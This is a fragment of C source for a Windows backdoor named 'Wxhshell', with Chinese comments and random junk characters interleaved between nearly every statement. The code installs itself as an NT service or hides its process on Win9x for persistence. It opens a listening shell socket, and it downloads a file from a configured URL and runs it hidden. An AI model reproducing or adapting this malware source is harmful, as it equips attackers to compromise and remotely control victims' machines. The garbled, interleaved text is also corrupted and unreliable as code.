s9go HMODULE hMod; ZFC&&[%-sG char procName[255]; }xJ!0<Bs unsigned long cbNeeded; @{@DGc ~Dbu;cqR@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *#.Ku(C+ \2 Yo*jE} CloseHandle(hProcess); m$`4.>J L"L a| if(strstr(procName,"services")) return 1; // 以服务启动 <YAs0 a\m0X@Q return 0; // 注册表启动 R^6]v`j; } \SooIEl@ "lA8CA // 主模块 >p29|TFbV int StartWxhshell(LPSTR lpCmdLine) ]#;u] { kS62]v] SOCKET wsl; w"" BOOL val=TRUE; {!*dk
V int port=0; Ask~ struct sockaddr_in door; >P}6/L &UQP9wS4v if(wscfg.ws_autoins) Install(); g$U7bCHG ua!RwSo port=atoi(lpCmdLine); 'XI-x[w 7I0K=
'D7 if(port<=0) port=wscfg.ws_port; &; [0.:; w|U7pUz WSADATA data; 4oPr|OKj{* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P\3H<?@4 NKYHJf2?x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V!f'
O@p[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ejpSbVJ door.sin_family = AF_INET; <3 I0$?xL door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~}Z'/zCZf door.sin_port = htons(port); r12e26_Ab 2{01i)2 y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oz'^.+uvE closesocket(wsl); m }\L i] return 1; MC_i"P6a } ^ux"<? OSkBBo]~z if(listen(wsl,2) == INVALID_SOCKET) { gmCB4MO closesocket(wsl); V4. }wz_Y return 1; \eCQL(_ } r5Xi2! Wxhshell(wsl); nXW]9zC"/ WSACleanup(); n ==+NL -^,wQW:o) return 0; 2+C8w%F8 y^:6D(SR } <-xu*Fc +ooQ-Gh // 以NT服务方式启动 L8cPNgZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +IM6 GeH { 6AKT-r. DWORD status = 0; iI@(Bl] DWORD specificError = 0xfffffff; TnLblkX J1d|L|M serviceStatus.dwServiceType = SERVICE_WIN32; &Ui&2EW serviceStatus.dwCurrentState = SERVICE_START_PENDING; e
ls&_BPE serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yHxi^D] serviceStatus.dwWin32ExitCode = 0; @l?2", serviceStatus.dwServiceSpecificExitCode = 0; g?9%_&/})A serviceStatus.dwCheckPoint = 0; pJ_>^i= serviceStatus.dwWaitHint = 0; ]Czq
A c vb2aj!8_? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y#fiJ if (hServiceStatusHandle==0) return; GI/4<J\ K@@Jt status = GetLastError(); 0hX@ta[Up if (status!=NO_ERROR) ]*\<k { oT^r serviceStatus.dwCurrentState = SERVICE_STOPPED; l`vr({A serviceStatus.dwCheckPoint = 0; k6??+b:rE serviceStatus.dwWaitHint = 0; B:tGD@ serviceStatus.dwWin32ExitCode = status; Ts3(,Y serviceStatus.dwServiceSpecificExitCode = specificError; 33w(Pw SetServiceStatus(hServiceStatusHandle, &serviceStatus); eo'C)j# U return; Eq'oy~.oV } !Nno@SP@ hP=z<&zb/ serviceStatus.dwCurrentState = SERVICE_RUNNING; ]]_H|tO serviceStatus.dwCheckPoint = 0; {-,^3PI\ serviceStatus.dwWaitHint = 0; -0:B2B if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hionR)R4 } Xj;5i
Vq -1 _7z{. // 处理NT服务事件,比如:启动、停止 9p9-tJfH. VOID WINAPI NTServiceHandler(DWORD fdwControl) R,ddH[3 { Lz;E/a}s switch(fdwControl)
g<PdiVp+ { ot.R Gpg% case SERVICE_CONTROL_STOP: :]-? l4(% serviceStatus.dwWin32ExitCode = 0; AV?<D.< serviceStatus.dwCurrentState = SERVICE_STOPPED; Y\ G^W8 serviceStatus.dwCheckPoint = 0; dIDs~ serviceStatus.dwWaitHint = 0; T(6B, { Yq%D/dU8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); t+BLO< } -g)*v<Fb5 return; IP+1 :M case SERVICE_CONTROL_PAUSE: x_|: 3I serviceStatus.dwCurrentState = SERVICE_PAUSED; ~*uxKEH break; m#(ve1E case SERVICE_CONTROL_CONTINUE: 8v']>5S]# serviceStatus.dwCurrentState = SERVICE_RUNNING; m7~[f7U break; ^9I^A!w= case SERVICE_CONTROL_INTERROGATE: _\2^s&iJh break; o*1t)HL < }; &-6D'@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); k0R;1lZ0n } 1">]w2je: =v]eQIp // 标准应用程序主函数 "6%vVi6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4C_-MJI { blA]z!FU hX@.k|Yd // 获取操作系统版本 bNO/CD4 OsIsNt=GetOsVer(); AAt<{ GetModuleFileName(NULL,ExeFile,MAX_PATH); 1MzOHE Rd.[8#7VE // 从命令行安装 G0eJ<*|_ 3 if(strpbrk(lpCmdLine,"iI")) Install(); Ig6>+Mw mLn =SU{# // 下载执行文件 MF^I] 7_ if(wscfg.ws_downexe) { P=9Zm if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^NTOZ0x~# WinExec(wscfg.ws_filenam,SW_HIDE); =xX\z\[A } >}ozEX6c2 {bvm83{T if(!OsIsNt) { $W;IW$ // 如果时win9x,隐藏进程并且设置为注册表启动 id.W"5+ HideProc(); J8yi#A>+ StartWxhshell(lpCmdLine); y3!=0uPf } DqHVc)9 else ^y"$k if(StartFromService()) #/9(^6f: // 以服务方式启动 s(I7}oRWsL StartServiceCtrlDispatcher(DispatchTable); Cz_chK4 else __V6TDehJ$ // 普通方式启动 ;zO(bj> StartWxhshell(lpCmdLine); ?$^qcpJCp hrRX= return 0; A
fctycQ- }
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